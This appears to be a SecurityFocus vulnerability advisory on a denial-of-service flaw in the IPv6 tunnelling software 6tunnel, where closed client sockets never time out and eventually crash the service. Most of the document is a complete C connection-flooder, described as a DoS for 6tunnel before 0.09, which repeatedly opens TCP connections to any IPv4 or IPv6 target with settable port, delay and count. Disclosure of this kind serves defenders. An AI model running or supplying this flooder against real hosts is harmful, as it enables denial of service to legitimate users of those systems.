source: http://www.securityfocus.com/bid/3467/info

6tunnel is a freely available, open source software package designed to provide IPv6 functionality to hosts that do not comply with the standard. It works by creating IPv6 tunnels.

A problem has been discovered in the software package that could allow remote users to deny service to legitimate users of the service. The problem is due to the management of sockets by the software package. When a client disconnects from the 6tunnel server, the socket previously used by the client enters the CLOSE state and does not time out. Once a large number of sockets is reached, the service crashes.

This makes it possible for a malicious user to deny service to legitimate users of the service. 

/* 
 * ipv4/ipv6 tcp connection flooder.
 * Originally used as a DoS for 6tunnel (versions < 0.08).
 * Version 0.08 is a broken version. Please update to 0.09.
 *
 * Description of options:
 * -6	:	flood an ipv6 address.
 * port :	tcp port to flood (default: 667)
 * delay:	delay between connections (ms).
 * times:	max number of connections (default: 2500).
 *
 * awayzzz <awayzzz@digibel.org>
 * You can even find me @IRCnet if you need.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DEFP	667		// default port.
#define DEFT	2500		// default number of connections.
#define TIME	100000	// delay between connections.
                        	// tune it for best performances!

#define HAVE_IPV6

#define VALID_PORT(i)   (i<65535 && i > 0)

int main(int argc,char *argv[])
{

   int ret, fd, i, ip6 = 0;
   int times = DEFT, port = DEFP, delay = TIME;
   struct sockaddr_in sin;
  
#ifdef HAVE_IPV6
   struct sockaddr_in6 sin6;
#endif

   if( argc < 2 ) 
   {
       char *pname;

       if(!(pname = strrchr(argv[0],'/')))
          pname = argv[0];
       else
          pname++;

       printf("Usage: %s [-6] ip4/6 [port] [delay (ms)] [times]\n", pname);
       exit (0);
   }

   if(!strcmp(argv[1],"-6"))
   {

#ifdef HAVE_IPV6
      ip6 = 1;
#endif
      argv++;
      argc--;
   }

   if(argc > 2)
   {
      port = strtol(argv[2], NULL, 10);
      if(!VALID_PORT(port))
      {
         fprintf(stderr,"Invalid port number. Using default\n");
         port = DEFP;
      }
   }

   if(argc > 3)
      delay = strtol(argv[3], NULL, 10);

   if(argc > 4)
      times = strtol(argv[4], NULL, 10);

   printf("Started with %s flood to %s on %d for %d times!\n",
         (ip6 == 1) ? "ipv6" : "ipv4", argv[1], port, times);
    
   for (i = 0; i < times; i++) 
   {
     
#ifdef HAVE_IPV6
      if(ip6)
      {
         fd = socket(AF_INET6, SOCK_STREAM, 0);
         memset(&sin6, 0, sizeof(sin6));

         sin6.sin6_family = AF_INET6;
         sin6.sin6_port = htons(port);
         inet_pton(AF_INET6,argv[1],sin6.sin6_addr.s6_addr);
      }
      else
      {
#endif /* HAVE_IPV6 */

         fd = socket(AF_INET, SOCK_STREAM, 0);
         memset(&sin, 0, sizeof(sin));

         sin.sin_family = AF_INET;
         sin.sin_addr.s_addr = inet_addr(argv[1]);
         sin.sin_port = htons(port);

#ifdef HAVE_IPV6
      }
      if(ip6)
         ret = connect(fd, (struct sockaddr *)&sin6, sizeof(sin6));
      else
#endif 
         ret = connect(fd, (struct sockaddr *)&sin, sizeof(sin));

      if(ret < 0)
      {
         printf("connect %d failed.\n",i);
         perror("connect");
         break;
      }
      
      printf("Connection no. %d\n",i);
      close(fd);
      usleep(delay);
   }
}
/* :wq */